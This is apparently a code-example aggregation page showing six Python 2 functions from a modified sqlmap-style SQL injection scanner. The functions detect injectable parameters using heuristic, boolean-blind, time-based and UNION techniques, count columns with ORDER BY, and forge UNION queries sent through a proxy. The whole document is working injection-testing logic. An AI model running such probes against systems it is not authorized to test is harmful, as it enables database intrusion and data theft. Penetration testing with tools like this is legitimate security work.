Esempio n. 1
0
def checkDynParam_t(place, url_test, uri, paramDict, parameters, parameter,
                    value):
    dynResult = None
    randInt = randomInt()
    try:
        payload = agent.payload_t(paramDict, parameters, place, parameter,
                                  value, getUnicode(randInt))
        if (payload):
            url = "%s?%s" % (uri, payload)
        firstreponse = proxyqueryPage(url)
        dynResult = url_test.comparison(firstreponse.getdata())

        if not dynResult:
            #生成随机数  拼接成url 尝试两个不同的随机匹配结果
            randInt = randomInt()
            payload = agent.payload_t(paramDict, parameters, place, parameter,
                                      value, getUnicode(randInt))
            if (payload):
                url = "%s?%s" % (uri, payload)
            secondreponse = proxyqueryPage(url)
            dynResult = url_test.comparison(secondreponse.getdata())
    except Exception as ex:
        print ex

    result = None if dynResult is None else not dynResult

    return result
Esempio n. 2
0
def heuristicCheckSqlInjection(place, parameter, paramDict, parameters):
    origValue = paramDict[place][parameter]

    randStr = ""
    while '\'' not in randStr:
        randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)

    payload = agent.payload_t(paramDict,
                              parameters,
                              place,
                              parameter,
                              newValue=randStr)
    #payload = agent.payload(place, key, addValue=randStr)
    if (payload):
        url = "%s?%s" % (conf.url, payload)
    response = proxyqueryPage(url)
    page = response.getdata()

    handler = HTMLHandler(page)

    parseXmlFile(conf.errorsXML, handler)

    if conf.ErrorPage:
        return True
    else:
        return False
Esempio n. 3
0
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where)

            url = "%s?%s" % (conf.url, payload)
            response = proxyqueryPage(url)
            page = response.getdata()
            code = response.getstatus()

            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed"))  and checkComparison(page, kb.pageTemplate) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
Esempio n. 4
0
                        def genCmpPayload():
                            sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)

                            # Forge response payload by prepending with
                            # boundary's prefix and appending the
                            # boundary's
                            # suffix to the test's ' <payload><comment> '
                            # string
                            boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                            boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                            cmpPayload = agent.payload_t(paramDict, parameters, place, parameter, newValue=boundPayload, where=where)

                            return cmpPayload
Esempio n. 5
0
def _unionPosition(comment, place, parameter, prefix, suffix, count, paramDict, parameters, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = [_ for _ in xrange(0, count)]

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS):
        if vector:
            break

        # For each column of the table (# of NULL) perform a request using
        # the UNION ALL SELECT statement to test it the target URL is
        # affected by an exploitable union SQL injection vulnerability
        for position in positions:
            # Prepare expression with delimiters
            randQuery = randomStr(charCount)
            phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
            randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
            randQueryUnescaped = _escape(randQueryProcessed)

            # Forge the union SQL injection request
            query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where)
            url = "%s?%s" % (conf.url, payload)
            response = proxyqueryPage(url)
            page = response.getdata()
            headers = response.getheaders()

            # Perform the request
            content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(str(headers if headers else None), payload, True) or "")).lower()
            if content and phrase in content:
                validPayload = payload
                kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
                vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False)

                if where == PAYLOAD.WHERE.ORIGINAL:
                    # Prepare expression with delimiters
                    randQuery2 = randomStr(charCount)
                    phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
                    randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                    randQueryUnescaped2 = _escape(randQueryProcessed2)

                    # Confirm that it is a full union SQL injection
                    query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                    payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where)
                    url = "%s?%s" % (conf.url, payload)
                    response = proxyqueryPage(url)
                    page = response.getdata()
                    headers = response.getheaders()
                    content = ("%s%s" % (page or "", str(headers if headers else None) or "")).lower()
                    
                    if not all(_ in content for _ in (phrase, phrase2)):
                        vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
                    elif not kb.unionDuplicates:
                        fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
                        # Check for limited row output
                        query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
                        payload = agent.payload_t(paramDict, parameters, place, parameter, newValue=query, where=where)
                        url = "%s?%s" % (conf.url, payload)
                        response = proxyqueryPage(url)
                        page = response.getdata()
                        headers = response.getheaders()

                        # Perform the request
                        content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(str(headers if headers else None), payload, True) or "")).lower()
                        if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
                            warnMsg = "output with limited number of rows detected. Switching to partial mode"
                            print (warnMsg)
                            vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)

                unionErrorCase = kb.errorIsNone

                if unionErrorCase and count > 1:
                    warnMsg = "combined UNION/error-based SQL injection case found on "
                    warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
                    warnMsg += "column with better characteristics"
                    print(warnMsg)
                else:
                    break

    return validPayload, vector
Esempio n. 6
0
def checkSqlInjection(place, parameter, value, paramDict, parameters, url_test):

    injection = InjectionDict()
    tests_check = getSortedInjectionTests()
    seenPayload = set()
    extendTests = kb.dbms
    reduceTests = kb.dbms

    while conf.tests:
        
        test = conf.tests.pop(0)
        title = test.title
        clause = test.clause
        stype = test.stype
        # print title

        injection.dbms = kb.dbms

        if stype == PAYLOAD.TECHNIQUE.UNION:
            if "[CHAR]" in title:
                continue

            elif "[RANDNUM]" in title or "(NULL)" in title:
                    title = title.replace("[RANDNUM]", "random number")

            if test.request.columns == "[COLSTART]-[COLSTOP]":
                continue

            match = re.search(r"(\d+)-(\d+)", test.request.columns)
            if injection.data and match:
                lower, upper = int(match.group(1)), int(match.group(2))
                for _ in (lower, upper):
                    if _ > 1:
                        unionExtended = True
                        test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
                        title = re.sub(r"\b%d\b" % _, str(2 * _), title)
                        test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)


        if injection.data and stype in injection.data:
            continue


        # Parse DBMS-specific payloads' details
        if "details" in test and "dbms" in test.details:
            payloadDbms = test.details.dbms
        else:
            payloadDbms = None


        if payloadDbms is not None:

            if reduceTests and not intersect(payloadDbms, reduceTests, True):
                continue


        comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
        fstPayload = agent.cleanupPayload(test.request.payload, origValue=value)

        if value.isdigit():
            conf.boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))

        for boundary in conf.boundaries:
            injectable = False

            if boundary.level > 1:
                continue

            clauseMatch = False

            for clauseTest in test.clause:
                if clauseTest in boundary.clause:
                    clauseMatch = True
                    break

            if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
                continue

            whereMatch = False

            for where in test.where:
                if where in boundary.where:
                    whereMatch = True
                    break

            if not whereMatch:
                continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
            prefix = boundary.prefix if boundary.prefix else ""
            suffix = boundary.suffix if boundary.suffix else ""
            ptype = boundary.ptype


            condBound = (injection.prefix is not None and injection.suffix is not None)
            condBound &= (injection.prefix != prefix or injection.suffix != suffix)
            condType = injection.ptype is not None and injection.ptype != ptype


            if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
                    continue

            for where in test.where:
                templatePayload = None
                vector = None

                # Threat the parameter original value according to the
                # test's <where> tag
                if where == WHERE.ORIGINAL:
                    origValue = value

                    templatePayload = None

                if fstPayload:
                    boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                    boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                    reqPayload = agent.payload_t(paramDict, parameters, place, parameter, newValue=boundPayload, where=where)
                    if reqPayload:
                        if reqPayload in seenPayload:
                            continue
                        else:
                            seenPayload.add(reqPayload)
                else:
                    reqPayload = None

                for method, check in test.response.items():
                    check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
                    # In case of boolean-based blind SQL injection
                    if method == PAYLOAD.METHOD.COMPARISON:
                        def genCmpPayload():
                            sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)

                            # Forge response payload by prepending with
                            # boundary's prefix and appending the
                            # boundary's
                            # suffix to the test's ' <payload><comment> '
                            # string
                            boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                            boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                            cmpPayload = agent.payload_t(paramDict, parameters, place, parameter, newValue=boundPayload, where=where)

                            return cmpPayload
                        
                        if(genCmpPayload()):
                            url = "%s?%s" % (conf.url, genCmpPayload())
                        falseResponse = proxyqueryPage(url)
                        falsePage = falseResponse.getdata()

                        if(reqPayload):
                            url = "%s?%s" % (conf.url, reqPayload)
                        trueResponse = proxyqueryPage(url)
                        truePage = trueResponse.getdata()
                        trueResult = url_test.comparison(truePage)

                        if trueResult and not(truePage == falsePage):
                            if(genCmpPayload()):
                                url = "%s?%s" % (conf.url, genCmpPayload())
                            falseResponse = proxyqueryPage(url)
                            falsePage = falseResponse.getdata()
                            falseResult = url_test.comparison(falsePage)
                            if not falseResult:
                                injectable = True

                        if not injectable:
                            trueSet = set(extractTextTagContent(truePage))
                            falseSet = set(extractTextTagContent(falsePage))
                            candidates = filter(None, (_.strip() if _.strip() in (url_test.firstPage or "") and _.strip() not in falsePage and _.strip() else None for _ in (trueSet - falseSet)))


                            if candidates:
                                injectable = True

                    # In case of time-based blind or stacked queries
                    # SQL injections
                    elif method == PAYLOAD.METHOD.TIME:
                        # Perform the test's request
                        trueResult = checkTimeBasedCompare(reqPayload, conf.url)
                        # trueResult = True
                        if trueResult:
                            if SLEEP_TIME_MARKER in reqPayload:
                                falseResult = checkTimeBasedCompare(reqPayload.replace(SLEEP_TIME_MARKER, "0"), conf.url)
                                if falseResult:
                                    continue
                            # Confirm test's results
                            trueResult = checkTimeBasedCompare(reqPayload, conf.url)

                            if trueResult:
                                # infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
                                # print infoMsg

                                injectable = True
                    # In case of UNION query SQL injection
                    elif method == PAYLOAD.METHOD.UNION:
                        # Test for UNION injection and set the sample
                        # payload as well as the vector.
                        # NOTE: vector is set to  a tuple with 6 elements,
                        # used afterwards by Agent.forgeUnionQuery()
                        # method to forge the UNION query payload
                        configUnion(test.request.char, test.request.columns)

                        # # Test for UNION query SQL injection
                        reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix,paramDict,parameters)
                        if isinstance(reqPayload, six.string_types):

                            injectable = True

                            # Overwrite 'where' because it can be set
                            # by unionTest() directly
                            where = vector[6]


                if injectable is True:
                    if injection.place is None or injection.parameter is None:
                        if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
                                injection.parameter = place
                        else:
                                injection.parameter = parameter

                        injection.place = place
                        injection.ptype = ptype
                        injection.prefix = prefix
                        injection.suffix = suffix
                        injection.clause = clause


                    if hasattr(test, "details"):
                        for dKey, dValue in test.details.items():
                            if dKey == "dbms":
                                injection.dbms = dValue

                                if not isinstance(dValue, list):
                                    Backend.setDbms(dValue)
                                else:
                                    Backend.forceDbms(dValue[0], True)

                            elif dKey == "dbms_version" and injection.dbms_version is None:
                                injection.dbms_version = Backend.setVersion(dValue)

                            # elif dKey == "os" and injection.os is None:
                            #     injection.os = Backend.setOs(dValue)


                    if vector is None and "vector" in test and test.vector is not None:
                        vector = test.vector

                    injection.data[stype] = AttribDict()
                    injection.data[stype].title = title
                    injection.data[stype].payload = reqPayload
                    injection.data[stype].where = where
                    injection.data[stype].vector = vector
                    injection.data[stype].comment = comment
                    injection.data[stype].templatePayload = templatePayload

                    break


            if injectable is True:
                print injection.data[stype]